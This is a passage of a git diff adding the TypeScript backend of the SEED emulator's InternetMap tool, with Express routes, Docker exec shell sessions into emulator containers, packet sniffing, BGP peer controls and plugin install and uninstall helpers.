+controller.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + +router.get('/env.js', (req, res, next) => { + const envVarsForFrontend = { + CONSOLE: process.env.CONSOLE, + }; + res.setHeader('Content-Type', 'application/javascript'); + res.send(`window.__ENV__ = ${JSON.stringify(envVarsForFrontend)}`); + + next(); +}); + +router.get('/network', async function (req, res, next) { + var networks = await docker.listNetworks(); + + var _networks: SeedNetInfo[] = networks.map(n => { + var withMeta = n as SeedNetInfo; + + withMeta.meta = { + emulatorInfo: Emulator.ParseNetMeta(n.Labels) + }; + + return withMeta; + }); + + _networks = _networks.filter(n => n.meta.emulatorInfo.name); + + res.json({ + ok: true, + result: _networks + }); + + next(); +}); + +router.get('/container', async function (req, res, next) { + try { + let containers = await getContainers(); + + res.json({ + ok: true, + result: containers + }); + } catch (e) { + res.json({ + ok: false, + result: e.toString() + }); + } + + next(); +}); + +router.get('/install', async function (req, res, next) { + res.json({ + ok: true, + result: pluginManager.plugins + }); +}); + +router.post('/install', express.json(), async function (req, res, next) { + const plugin = req.body.title + const address = `${req.socket.localAddress}:${req.socket.localPort}` + let ret = await submitEvent.submitEvent(address, (await getContainers()).map(c => c.Id), 'install', plugin); + if (ret) { + ret = { + ok: true, + result: "install success" + } + } else { + ret = { + ok: true, + result: "install error" + } + } + res.json(ret); + + next(); +}); + +router.post('/uninstall', express.json(), async function (req, res, next) { + const plugin = req.body.title + let ret = await submitEvent.submitEvent('', (await getContainers()).map(c => c.Id), 'uninstall', plugin); + if (ret) { + ret = { + ok: true, + result: "uninstall success" + } + } else { + ret = { + ok: true, + result: "uninstall error" + } + } + res.json(ret); + + next(); +}); + +router.get('/container/:id', async function (req, res, next) { + var id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + } else { + var result: any = candidates[0]; + result.meta = { + hasSession: socketHandler.getSessionManager().hasSession(result.Id), + emulatorInfo: Emulator.ParseNodeMeta(result.Labels) + }; + res.json({ + ok: true, result + }); + } + + next(); +}); + +router.get('/container/:id/net', async function (req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + res.json({ + ok: true, + result: await controller.isNetworkConnected(node.Id) + }); + + next(); +}); + +router.post('/container/:id/net', express.json(), async function (req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + controller.setNetworkConnected(node.Id, req.body.status); + + res.json({ + ok: true + }); + + next(); +}); + +router.post('/container/vis/set', express.json(), async function (req, res, next) { + // let id = req.params.id; + let id = req.query.id as string; + let action = req.query.action; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + let option = { + id: candidates[0].Id, + static: {borderWidth: 1}, + dynamic: {borderWidth: 4}, + action + } + switch (action) { + case 'flash': + case 'flashOnce': + option = {...option, ...req.body['flash']}; + break + case 'highlight': + option.static = (!req.body['highlight'] || Object.keys(req.body['highlight']).length === 0) ? {borderWidth: 4} : req.body['highlight']; + break + default: + option.static = {borderWidth: 1}; + option.dynamic = {borderWidth: 4}; + break + } + + var deadSockets: WebSocket[] = []; + + visSubscribers.forEach(socket => { + if (socket.readyState == 1) { + socket.send(JSON.stringify({ + source: candidates[0].Id, data: JSON.stringify(option) + })); + } + + if (socket.readyState > 1) { + deadSockets.push(socket); + } + }); + + deadSockets.forEach(socket => visSubscribers.splice(visSubscribers.indexOf(socket), 1)); + + res.json({ + ok: true, + result: { + currentFilter: 'success' + } + }); + + next(); +}); + +router.ws('/console/:id', async function (ws, req, next) { + try { + if (process.env.CONSOLE === 'false') { + throw Error('CONSOLE is not enabled'); + } + await socketHandler.handleSession(ws, req.params.id); + } catch (e) { + if (ws.readyState == 1) { + ws.send(`error creating session: ${e}\r\n`); + ws.close(); + } + } + + next(); +}); + +var snifferSubscribers: WebSocket[] = []; +var currentSnifferFilter: string = ''; +var visSubscribers: WebSocket[] = []; + +router.post('/sniff', express.json(), async function (req, res, next) { + sniffer.setListener((nodeId, data) => { + var deadSockets: WebSocket[] = []; + + snifferSubscribers.forEach(socket => { + if (socket.readyState == 1) { + socket.send(JSON.stringify({ + source: nodeId, data: data.toString('utf8') + })); + } + + if (socket.readyState > 1) { + deadSockets.push(socket); + } + }); + + deadSockets.forEach(socket => snifferSubscribers.splice(snifferSubscribers.indexOf(socket), 1)); + }); + + currentSnifferFilter = req.body.filter ?? ''; + + await sniffer.sniff((await getContainers()).map(c => c.Id), currentSnifferFilter); + + res.json({ + ok: true, + result: { + currentFilter: currentSnifferFilter + } + }); + + next(); +}); + +router.get('/sniff', function (req, res, next) { + res.json({ + ok: true, + result: { + currentFilter: currentSnifferFilter + } + }); + + next(); +}); + +router.ws('/sniff', async function (ws, req, next) { + snifferSubscribers.push(ws); + next(); +}); + +router.ws('/container/vis/set', async function (ws, req, next) { + visSubscribers.push(ws); + next(); +}); + +router.get('/container/:id/bgp', async function (req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + res.json({ + ok: true, + result: await controller.listBgpPeers(node.Id) + }); + + next(); +}); + +router.post('/container/:id/bgp/:peer', express.json(), async function (req, res, next) { + let id = req.params.id; + let peer = req.params.peer; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + await controller.setBgpPeerState(node.Id, peer, req.body.status); + + res.json({ + ok: true + }); + + next(); +}); + +export = router; diff --git a/tools/InternetMap/backend/src/interfaces/log-producer.ts b/tools/InternetMap/backend/src/interfaces/log-producer.ts new file mode 100644 index 000000000..04d988b7e --- /dev/null +++ b/tools/InternetMap/backend/src/interfaces/log-producer.ts @@ -0,0 +1,14 @@ +import { Logger } from 'tslog'; + +/** + * common interface for object producing logs. + */ +export interface LogProducer { + + /** + * get loggers. + * + * @returns loggers. + */ + getLoggers(): Logger[]; +} \ No newline at end of file diff --git a/tools/InternetMap/backend/src/main.ts b/tools/InternetMap/backend/src/main.ts new file mode 100644 index 000000000..bf1231b35 --- /dev/null +++ b/tools/InternetMap/backend/src/main.ts @@ -0,0 +1,12 @@ +import express from 'express'; +import expressWs from 'express-ws'; + +const app = express(); +expressWs(app); + +import apiV1Router from './api/v1/main'; + +app.use(express.static('../frontend/public')); +app.use('/api/v1', apiV1Router); + +app.listen(8080, '0.0.0.0'); diff --git a/tools/InternetMap/backend/src/utils/controller.ts b/tools/InternetMap/backend/src/utils/controller.ts new file mode 100644 index 000000000..af8d5c0e4 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/controller.ts @@ -0,0 +1,267 @@ +import dockerode from 'dockerode'; +import { LogProducer } from '../interfaces/log-producer'; +import { Logger } from 'tslog'; +import { Session, SessionManager } from './session-manager'; + +interface ExecutionResult { + id: number, + return_value: number, + output: string +} + +/** + * bgp peer. + */ +export interface BgpPeer { + /** name of the protocol in bird of the peer. */ + name: string; + + /** state of the protocol itself (up/down/start, etc.) */ + protocolState: string; + + /** state of bgp (established/active/idle, etc.) */ + bgpState: string; +} + +/** + * controller class. + * + * The controller class offers the ability to control a node with some common + * operations. The operations are provided by the seedemu_worker script + * installed to every node by the docker compiler. + */ +export class Controller implements LogProducer { + private _logger: Logger; + private _sessionManager: SessionManager; + + /** current task id. */ + private _taskId: number; + + /** + * Callbacks for tasks. The key is task id, and the value is the callback. + * All tasks are async: the requests need to be written to the container's + * worker session, and the container will later reply the execution result + * bound by '_BEGIN_RESULT_' and '_END_RESULT_'. + */ + private _unresolvedPromises: { [id: number]: ((result: ExecutionResult) => void)}; + + /** + * message buffers. The key is container id, and the value is buffer. + * Container's execution results are marked by '_BEGIN_RESULT_' and + * '_END_RESULT_'. One must wait till '_END_RESULT_' before parsing the + * execution result. The buffers store to result received so far. + */ + private _messageBuffer: { [nodeId: string]: string }; + + /** + * Only one task is allowed at a time. If the last task has not returned, + * all future tasks must wait. This list stores the callbacks to wake + * waiting tasks handler. + */ + private _pendingTasks: (() => void)[]; + + /** + * construct controller. + * + * @param docker dockerode object. + */ + constructor(docker: dockerode) { + this._logger = new Logger({ name: 'Controller' }); + this._sessionManager = new SessionManager(docker, 'Controller'); + this._sessionManager.on('new_session', this._listenTo.bind(this)); + + this._taskId = 0; + this._unresolvedPromises = {}; + this._messageBuffer = {}; + this._pendingTasks = []; + } + + /** + * attach a listener to a newly created session. + * + * @param nodeId node id. + * @param session session. + */ + private _listenTo(nodeId: string, session: Session) { + this._logger.debug(`got new session for node ${nodeId}; attaching listener...`); + + session.stream.addListener('data', data => { + var message: string = data.toString('utf-8'); + this._logger.debug(`message chunk from ${nodeId}: ${message}`); + + if (message.includes('_BEGIN_RESULT_')) { + if (nodeId in this._messageBuffer && this._messageBuffer[nodeId] != '') { + this._logger.error(`${nodeId} sents another _BEGIN_RESULT_ while the last message was not finished.`); + } + + this._messageBuffer[nodeId] = ''; + } + + if (!(nodeId in this._messageBuffer)) { + this._messageBuffer[nodeId] = message; + } else { + this._messageBuffer[nodeId] += message; + } + + if (!this._messageBuffer[nodeId].includes('_END_RESULT_')) { + this._logger.debug(`message from ${nodeId} is not complete; push to buffer and wait...`); + return; + } + + let json = this._messageBuffer[nodeId]?.split('_BEGIN_RESULT_')[1]?.split('_END_RESULT_')[0]; + + if (!json) { + this._logger.warn(`end-of-message seen, but messsage incomplete for node ${nodeId}?`); + return; + } + + this._logger.debug(`message from ${nodeId}: "${json}"`); + + // message should be completed by now. parse and resolve. + + try { + let result = JSON.parse(json) as ExecutionResult; + + if (result.id in this._unresolvedPromises) { + this._unresolvedPromises[result.id](result); + delete this._unresolvedPromises[result.id]; + } else { + this._logger.warn(`unknow task id ${result.id} from node ${nodeId}: `, result); + } + } catch (e) { + this._logger.warn(`error decoding message from ${nodeId}: `, e); + } + + this._messageBuffer[nodeId] = ''; + }); + } + + /** + * run seedemu worker command on a node. + * + * @param node id of node to run on. + * @param command command. + * @returns execution result. + */ + private async _run(node: string, command: string): Promise { + // wait for all pending tasks to finish. + await this._wait(); + + let task = ++this._taskId; + + this._logger.debug(`[task ${task}] running "${command}" on ${node}...`); + let session = await this._sessionManager.getSession(node, ['/seedemu_worker']); + + session.stream.write(`${task};${command}\r`); + + // create a promise, push the resolve callback to unresolved promises for current id. + let promise = new Promise((resolve, reject) => { + this._unresolvedPromises[task] = (result: ExecutionResult) => { + resolve(result); + + // one or more tasks is waiting for us to finish, let the first in queue know we are done. + if (this._pendingTasks.length > 0) { + this._pendingTasks.shift()(); + } + }; + }); + + // wait for the listener to invoke the resolve callback. + let result = await promise; + + this._logger.debug(`[task ${task}] task end:`, result); + + return result; + } + + /** + * wait for other tasks, if exist, to finish. return immediately if no + * other tasks are running. + */ + private async _wait(): Promise { + if (Object.keys(this._unresolvedPromises).length == 0) { + return; + } + + let promise = new Promise((resolve, reject) => { + this._pendingTasks.push(resolve); + }); + + return await promise; + } + + /** + * change the network connection state of a node. + * + * @param node node id + * @param connected true to re-connect, false to disconnect. + */ + async setNetworkConnected(node: string, connected: boolean) { + this._logger.debug(`setting network to ${connected ? 'connected' : 'disconnected'} on ${node}`); + await this._run(node, connected ? 'net_up' : 'net_down'); + } + + /** + * get the network connection state of a node. + * + * @param node node id + * @returns true if connected, false if not connected. + */ + async isNetworkConnected(node: string): Promise { + this._logger.debug(`getting network status on ${node}`); + + let result = await this._run(node, 'net_status'); + + return result.output.includes('up'); + } + + /** + * list bgp peers. + * + * @param node node id. this node must be a router node with bird running. + * @returns list of bgp peers. + */ + async listBgpPeers(node: string): Promise { + // potential crash when running on non-router node? + + this._logger.debug(`getting bgp peers on ${node}...`); + + let result = await this._run(node, 'bird_list_peer'); + + let lines = result.output.split('\n').map(s => s.split(/\s+/)); + + var peers: BgpPeer[] = []; + + lines.forEach(line => { + if (line.length < 6) { + return; + } + peers.push({ + name: line[0], + protocolState: line[3], + bgpState: line[5] + }); + }); + + this._logger.debug(`parsed bird output: `, lines, peers); + + return peers; + } + + /** + * set bgp peer state. + * + * @param node node id. this node must be a router node with bird running. + * @param peer peer protocol name. + * @param state new state. true to enable, false to disable. + */ + async setBgpPeerState(node: string, peer: string, state: boolean) { + this._logger.debug(`setting peer session with ${peer} on ${node} to ${state ? 'enabled' : 'disabled'}...`); + + await this._run(node, `bird_peer_${state ? 'up' : 'down'} ${peer}`); + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +} \ No newline at end of file diff --git a/tools/InternetMap/backend/src/utils/plugin-manager.ts b/tools/InternetMap/backend/src/utils/plugin-manager.ts new file mode 100644 index 000000000..cd4ec8336 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/plugin-manager.ts @@ -0,0 +1,88 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import {Logger} from 'tslog'; +import dockerode from 'dockerode'; +import {LogProducer} from "../interfaces/log-producer"; + +export interface IPlugin { + id: string; + name: string; + version: string; + entryPoint: string; + description?: string; + activate?: () => void; + deactivate?: () => void; +} + +export class PluginManager implements LogProducer { + private readonly _logger: Logger; + private _docker: dockerode; + public plugins: IPlugin[] = []; + private readonly _pluginDirs: string[]; + + constructor(docker: dockerode, pluginDirs: string[] = ['../plugin'], namespace: String = '') { + this._docker = docker; + this._pluginDirs = pluginDirs.map(pluginDir => path.resolve(pluginDir)); + this._logger = new Logger({name: `${namespace}PluginManager`}); + this.discoverPlugins().then(r => { + }) + } + + private async discoverPlugins(): Promise { + for (const pluginDir of this._pluginDirs) { + if (!fs.existsSync(pluginDir)) { + return + } + + const items = fs.readdirSync(pluginDir, {withFileTypes: true}); + for (const item of items) { + if (item.isDirectory()) { + const pluginPath = path.join(pluginDir, item.name); + const manifestPath = path.join(pluginPath, 'plugin.json'); + + if (fs.existsSync(manifestPath)) { + try { + const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8')); + const plugin = await this.loadPlugin(pluginPath, manifest); + this.plugins.push(plugin); + } catch (error) { + console.error(`Failed to load plugin ${item.name}:`, error); + } + } + } + } + } + } + + private async loadPlugin(pluginPath: string, manifest: any): Promise { + // const entryPoint = path.join(pluginPath, manifest.entryPoint); + + // const pluginModule = await import(entryPoint); + // const pluginInstance = pluginModule.default || pluginModule; + + return { + id: manifest.id, + name: manifest.name, + version: manifest.version, + entryPoint: manifest.entryPoint, + description: manifest.description, + // activate: pluginInstance.activate, + // deactivate: pluginInstance.deactivate + }; + } + + activateAll(): void { + this.plugins.forEach(plugin => { + try { + plugin.activate(); + console.log(`Plugin ${plugin.name} activated`); + } catch (error) { + console.error(`Failed to activate plugin ${plugin.name}:`, error); + } + }); + } + + getLoggers(): Logger[] { + return [this._logger]; + } +} \ No newline at end of file diff --git a/tools/InternetMap/backend/src/utils/seedemu-meta.ts b/tools/InternetMap/backend/src/utils/seedemu-meta.ts new file mode 100644 index 000000000..af0c7cdc2 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/seedemu-meta.ts @@ -0,0 +1,112 @@ +import 'dockerode'; +import Dockerode from 'dockerode'; + +const META_PREFIX = 'org.seedsecuritylabs.seedemu.meta.'; + +export interface VertexMeta { + displayname?: string; + description?: string; +} + +export interface SeedEmulatorNode extends VertexMeta { + name?: string; + role?: string; + asn?: number; + custom?: string; + nets: { + name?: string; + address?: string; + }[]; +} + +export interface SeedEmulatorNet extends VertexMeta { + name?: string; + scope?: string; + type?: string; + prefix?: string; +} + +export interface SeedEmulatorMetadata { + hasSession: boolean; + emulatorInfo: SeedEmulatorNode; +} + +export interface SeedContainerInfo extends Dockerode.ContainerInfo { + meta: SeedEmulatorMetadata; +} + +export interface SeedNetInfo extends Dockerode.NetworkInspectInfo { + meta: { + emulatorInfo: SeedEmulatorNet; + } +} + +/** + * Class with helpers to parse metadata labels. + */ +export class Emulator { + + /** + * parse node metadata. + * + * @param labels labels, where key is label, and value is value. + * @returns parsed node metadata object. + */ + static ParseNodeMeta(labels: { + [key: string]: string + }): SeedEmulatorNode { + var node: SeedEmulatorNode = { + nets: [] + }; + + Object.keys(labels).forEach(label => { + if (!label.startsWith(META_PREFIX)) return; + var key = label.replace(META_PREFIX, ''); + var value = labels[label]; + + if (key === 'asn') node.asn = Number.parseInt(value); + if (key === 'nodename') node.name = value; + if (key === 'role') node.role = value; + if (key.startsWith('net.')) { + var [_, i, item] = key.match(/net\.(\d+)\.(\S+)/); + var ifindex = Number.parseInt(i); + if (!node.nets[ifindex]) node.nets[ifindex] = {}; + if (item != 'name' && item != 'address') return; + node.nets[ifindex][item] = value; + } + if (key === 'displayname') node.displayname = value; + if (key === 'description') node.description = value; + if (key === 'custom') node.custom = value; + }); + + return node; + } + + /** + * parse network metadata. + * + * @param labels labels, where key is label, and value is value. + * @returns parsed network metadata. + */ + static ParseNetMeta(labels: { + [key: string]: string + }): SeedEmulatorNet { + var net: SeedEmulatorNet = {}; + + Object.keys(labels).forEach(label => { + if (!label.startsWith(META_PREFIX)) return; + var key = label.replace(META_PREFIX, ''); + var value = labels[label]; + + if (key === 'type') net.type = value; + if (key === 'scope') net.scope = value; + if (key === 'name') net.name = value; + if (key === 'prefix') net.prefix = value; + if (key === 'displayname') net.displayname = value; + if (key === 'description') net.description = value; + }); + + return net; + } + +}; \ No newline at end of file diff --git a/tools/InternetMap/backend/src/utils/session-manager.ts b/tools/InternetMap/backend/src/utils/session-manager.ts new file mode 100644 index 000000000..0bc5d0be6 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/session-manager.ts @@ -0,0 +1,152 @@ +import dockerode from 'dockerode'; +import { Duplex } from 'stream'; +import { Logger } from 'tslog'; +import { LogProducer } from '../interfaces/log-producer'; + +export interface Session { + stream: Duplex, + exec: dockerode.Exec +}; + +export type SessionEvent = 'new_session'; + +/** + * session manager class. + * + * The session manager providers a way to open an interactive shell session + * with the container. It keeps track of previously opened sessions and re-open + * existing sessions if possible. + */ +export class SessionManager implements LogProducer { + private _logger: Logger; + + private _sessions: { + [id: string]: Session + }; + + private _docker: dockerode; + + private _newSessionCallback: (nodeId: string, session: Session) => void; + + /** + * construct new session manager. + * + * @param docker dockerode object. + * @param namespace name prefix for log outputs. this is only used for + * distinctions between multiple uses of the session manager. + */ + constructor(docker: dockerode, namespace: String = '') { + this._sessions = {}; + this._docker = docker; + this._logger = new Logger({ name: `${namespace}SessionManager` }); + } + + /** + * get the full length id of a container from a partial id. + * + * @param id partial id + * @returns full id + */ + private async _getContainerRealId(id: string): Promise { + var containers = await this._docker.listContainers(); + var candidates = containers.filter(container => container.Id.startsWith(id)); + + if (candidates.length != 1) { + var err = `no match or multiple match for container ID ${id}`; + this._logger.error(err); + throw err; + } + + return candidates[0].Id; + } + + /** + * test if a reuseable session exist for a container. + * + * @param fullId full length id of the container + * @returns true if exists, false otherwise. + */ + hasSession(fullId: string): boolean { + return this._sessions[fullId] && this._sessions[fullId].stream.writable; + } + + /** + * listen for events. + * + * event: new_session: will be invoked when a new session is created for a + * node. + * + * @param event event to listen + * @param callback callback + */ + on(event: SessionEvent, callback: (nodeId: string, session: Session) => void) { + if (event == 'new_session') { + this._newSessionCallback = callback; + } + } + + /** + * get session for a container. + * + * @param id container id. can be partial + * @param command (optional) command to start session with. default to + * ['bash'] + * @returns session + */ + async getSession(id: string, command: string[] = ['bash']): Promise { + this._logger.info(`getting container ${id}...`); + + var fullId = await this._getContainerRealId(id); + this._logger.trace(`${id}'s full id: ${fullId}.`) + + var container = this._docker.getContainer(fullId); + + if (this._sessions[fullId]) { + var session = this._sessions[fullId]; + this._logger.debug(`found existing session for ${id}, try re-attach...`); + var stream = session.stream; + if (stream.writable) { + this._logger.info(`attached to existing session for ${id}.`); + return session; + } + this._logger.info(`existing session for ${id} is invalid, creating new session.`); + } + + this._logger.trace(`getting container ${id}...`); + + var execOpt = { + AttachStdin: true, + AttachStdout: true, + AttachStderr: true, + Tty: true, + Cmd: command + }; + this._logger.trace('spawning exec object with options:', execOpt); + var exec = await container.exec(execOpt); + + var startOpt = { + Tty: true, + Detach: false, + stdin: true, + hijack: true + }; + this._logger.trace('starting exec object with options:', startOpt); + var stream = await exec.start(startOpt); + + this._logger.info(`started session for container ${id}.`); + + this._sessions[fullId] = { + stream, exec + }; + + if (this._newSessionCallback) { + this._newSessionCallback(fullId, this._sessions[fullId]); + } + + return this._sessions[fullId]; + } + + getLoggers(): Logger[] { + return [this._logger]; + } +}; \ No newline at end of file diff --git a/tools/InternetMap/backend/src/utils/sniffer.ts b/tools/InternetMap/backend/src/utils/sniffer.ts new file mode 100644 index 000000000..7f235a602 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/sniffer.ts @@ -0,0 +1,52 @@ +import dockerode from 'dockerode'; +import { LogProducer } from '../interfaces/log-producer'; +import { Logger } from 'tslog'; +import { SessionManager, Session } from './session-manager'; + +export class Sniffer implements LogProducer { + private _logger: Logger; + private _listener: (nodeId: string, stdout: any) => void; + private _sessionManager: SessionManager; + + constructor(docker: dockerode) { + this._logger = new Logger({ name: 'Sniffer' }); + this._sessionManager = new SessionManager(docker, 'Sniffer'); + this._sessionManager.on('new_session', this._listenTo.bind(this)); + } + + private _listenTo(nodeId: string, session: Session) { + this._logger.debug(`got new session for noed ${nodeId}; attaching listener...`); + + session.stream.addListener('data', data => { + if (this._listener) { + this._listener(nodeId, data); + } + }); + } + + async sniff(nodes: string[], expr: string) { + this._logger.debug(`sniffing on ${nodes} with expr ${expr}...`); + + var sessions = await Promise.all(nodes.map(node => this._sessionManager.getSession(node, ['/seedemu_sniffer']))); + + sessions.forEach(session => { + try { + session.stream.write(`${expr}\r`); + } catch (e) { + this._logger.error("error communicating with node."); + } + }); + } + + setListener(listener: (nodeId: string, stdout: any) => void) { + this._listener = listener; + } + + clearListener() { + this._listener = undefined; + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +} \ No newline at end of file diff --git a/tools/InternetMap/backend/src/utils/socket-handler.ts b/tools/InternetMap/backend/src/utils/socket-handler.ts new file mode 100644 index 000000000..7c681ce08 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/socket-handler.ts @@ -0,0 +1,71 @@ +import { Logger } from 'tslog'; +import dockerode from 'dockerode'; +import { SessionManager } from './session-manager'; +import WebSocket from 'ws'; +import { LogProducer } from '../interfaces/log-producer'; + +export class SocketHandler implements LogProducer { + private _logger: Logger; + private _sessionManager: SessionManager; + + constructor(docker: dockerode) { + this._sessionManager = new SessionManager(docker); + this._logger = new Logger({ name: 'SocketHandler' }); + } + + async handleSession(ws: WebSocket, id: string) { + ws.send(`\x1b[0;30mConnecting to ${id}...\x1b[0m\r\n`); + + try { + var session = await this._sessionManager.getSession(id); + + var dataHandler = (data: any) => { + ws.send(data); + }; + + var closeHandler = () => { + ws.close(); + }; + + ws.send(`\x1b[0;30mConnected to ${id}.\x1b[0m\r\n`); + + ws.on('close', () => { + session.stream.removeListener('data', dataHandler); + session.stream.removeListener('close', closeHandler); + }); + + ws.on('message', async (data: string) => { + if (typeof data === 'string' && data.length > 4 && data.substr(0, 4) == '\t\r\n\t') { // "control messages" + let msg = data.substr(4); + let [type, payload] = msg.split(';'); + if (type == 'termsz') { + let [rows, cols] = payload.split(','); + let _rows: number = Number.parseInt(rows); + let _cols: number = Number.parseInt(cols); + + await session.exec.resize({ + h: _rows, + w: _cols + }); + }; + return; + } + session.stream.write(data); + }); + + session.stream.addListener('data', dataHandler); + session.stream.addListener('close', closeHandler); + } catch (e) { + this._logger.error(e); + throw e; + } + } + + getSessionManager(): SessionManager { + return this._sessionManager; + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +}; diff --git a/tools/InternetMap/backend/src/utils/submit-event.ts b/tools/InternetMap/backend/src/utils/submit-event.ts new file mode 100644 index 000000000..0cfff4115 --- /dev/null +++ b/tools/InternetMap/backend/src/utils/submit-event.ts @@ -0,0 +1,211 @@ +import dockerode from 'dockerode'; +import {LogProducer} from '../interfaces/log-producer'; +import {Logger} from 'tslog'; +import * as os from 'os'; +import * as path from 'path'; +import fs from 'fs'; +import tar from 'tar-fs'; + +const PLUGINS_BASE_DIR = '/map-plugins'; +export class SubmitEvent implements LogProducer { + private _logger: Logger; + private _docker: dockerode; + + constructor(docker: dockerode) { + this._logger = new Logger({name: 'SubmitEvent'}); + this._docker = docker; + } + + /** + * Copy files from the current container to the target container + * @param sourcePath + * @param targetContainerId + * @param targetPath + */ + async copyToContainerFromCurrentContainer( + sourcePath: string, + targetContainerId: string, + targetPath: string + ): Promise { + const targetContainer = this._docker.getContainer(targetContainerId); + try { + if (!fs.existsSync(sourcePath)) { + this._logger.error(`source path ${sourcePath} does not exist`); + return + } + try { + // create targetPath + const exec = await targetContainer.exec({ + Cmd: ['mkdir', '-p', targetPath], + AttachStdout: true, + AttachStderr: true + }); + + const stream = await exec.start({}); + await new Promise((resolve, reject) => { + let output = ''; + stream.on('data', (chunk) => { + output += chunk.toString(); + }); + stream.on('end', resolve); + stream.on('error', reject); + }); + + const inspect = await exec.inspect(); + if (inspect.ExitCode !== 0) { + throw new Error(`Failed to create directory: ${targetPath}`); + } + + } catch (error) { + this._logger.error(`Failed to create target directory ${targetPath}:`, error); + throw error; + } + + // create tar stream + const uploadStream = tar.pack(sourcePath); + // upload + await targetContainer.putArchive(uploadStream, { + path: targetPath, + noOverwriteDirNonDir: false + }); + } catch (error) { + this._logger.error('copy failed:', error); + throw error + } + } + + /** + * Delete the specified file in the container + * @param containerId + * @param filePaths The file path to be deleted within the container + */ + async delFileInContainer(containerId: string, filePaths: string[]): Promise { + this.execCmdInContainer(containerId, ['rm', '-f', ...filePaths]).then() + } + + async execCmdInContainer(containerId: string, cmd: string[]): Promise { + try { + const container = this._docker.getContainer(containerId); + const exec = await container.exec({ + Cmd: cmd, + AttachStdout: true, + AttachStderr: true + }); + // start execution + const stream = await exec.start({hijack: true, stdin: false}); + // process the output result + await new Promise((resolve, reject) => { + this._docker.modem.demuxStream(stream, process.stdout, process.stderr); + stream.on('end', () => resolve(undefined)); + stream.on('error', (err) => reject(err)); + }); + // check the execution result + const inspectResult = await exec.inspect(); + if (inspectResult.ExitCode !== 0) { + throw new Error(`Failed to exec cmd: (${cmd}), exit code: ${inspectResult.ExitCode}`); + } + + this._logger.info(`containerId: ${containerId} Successfully exec cmd: (${cmd})`); + } catch (error) { + this._logger.error(`Error exec cmd: (${cmd}), error: ${error}`); + throw error; + } + } + + async submitEvent(address: string, nodes: string[], type: 'install' | 'uninstall', plugin: string): Promise { + let ret = false; + switch (type) { + case 'install': + ret = await this._install(address, nodes, plugin); + break + case 'uninstall': + ret = await this._uninstall(nodes, plugin); + break + default: + this._logger.debug(`submit event type error: ${type}`); + break + } + + return ret; + } + + async _install(address: string, nodes: string[], plugin: string) { + let ret = false; + switch (plugin) { + case 'submit_event': + ret = await this._installSubmitEvent(address, nodes) + break + default: + break + } + return ret + } + + async _installSubmitEvent(address: string, nodes: string[]) { + let ret = true; + + this._logger.debug(`submit event install ...`); + // create a temporary folder + const tempDir = path.join(os.tmpdir(), 'submit-event'); + await fs.promises.mkdir(tempDir, {recursive: true}); + // read the file + const sourceFilePath = '../plugin/submit_event/submit_event.sh' + if (!fs.existsSync(sourceFilePath)) { + this._logger.info(`File ${fs.realpathSync(sourceFilePath)} does not exist`); + return + } + const fileContent = fs.readFileSync(sourceFilePath, 'utf8'); + // modify the address (ip+port) + let modifiedContent = fileContent.replace('ADDRESS', address); + + try { + await Promise.all(nodes.map( + async node => { + const tempNodeDir = path.join(tempDir, node); + await fs.promises.mkdir(tempNodeDir, {recursive: true}); + const tempFilePath = path.join(tempNodeDir, 'submit_event.sh'); + fs.writeFileSync(tempFilePath, modifiedContent); + await this.copyToContainerFromCurrentContainer(tempNodeDir, node, PLUGINS_BASE_DIR); + } + )); + } catch (error) { + this._logger.error('submit event install failed: ', error); + ret = false + } finally { + await fs.promises.rm(tempDir, {recursive: true, force: true}); + } + return ret; + } + + async _uninstall(nodes: string[], plugin: string) { + let ret = true; + let paths: string[] = []; + switch (plugin) { + case 'submit_event': + paths = [`${PLUGINS_BASE_DIR}/submit_event.sh`] + break + default: + break + } + if (paths.length === 0) { + return ret + } + try { + this._logger.debug(`${plugin} uninstall ...`); + await Promise.all(nodes.map( + async node => { + await this.delFileInContainer(node, paths); + } + )); + } catch (error) { + this._logger.error(`${plugin} uninstall failed: ${error}`); + ret = false + } + + return ret + } + + getLoggers(): Logger[] { + return [this._logger]; + } +} \ No newline at end of file diff --git a/tools/InternetMap/backend/tsconfig.json b/tools/InternetMap/backend/tsconfig.json new file mode 100644 index 000000000..73736b694 --- /dev/null +++ b/tools/InternetMap/backend/tsconfig.json @@ -0,0 +1,15 @@ +{ + "compilerOptions": { + "module": "commonjs", + "noImplicitAny": true, + "removeComments": true, + "preserveConstEnums": true, + "esModuleInterop": true, + "sourceMap": true, + "types": ["node"], + "outDir": "bin/", + "lib": ["ES2015", "DOM"] // 必须包含 ES2015 或 ES6 + }, + "include": ["src/**/*"], + "exclude": 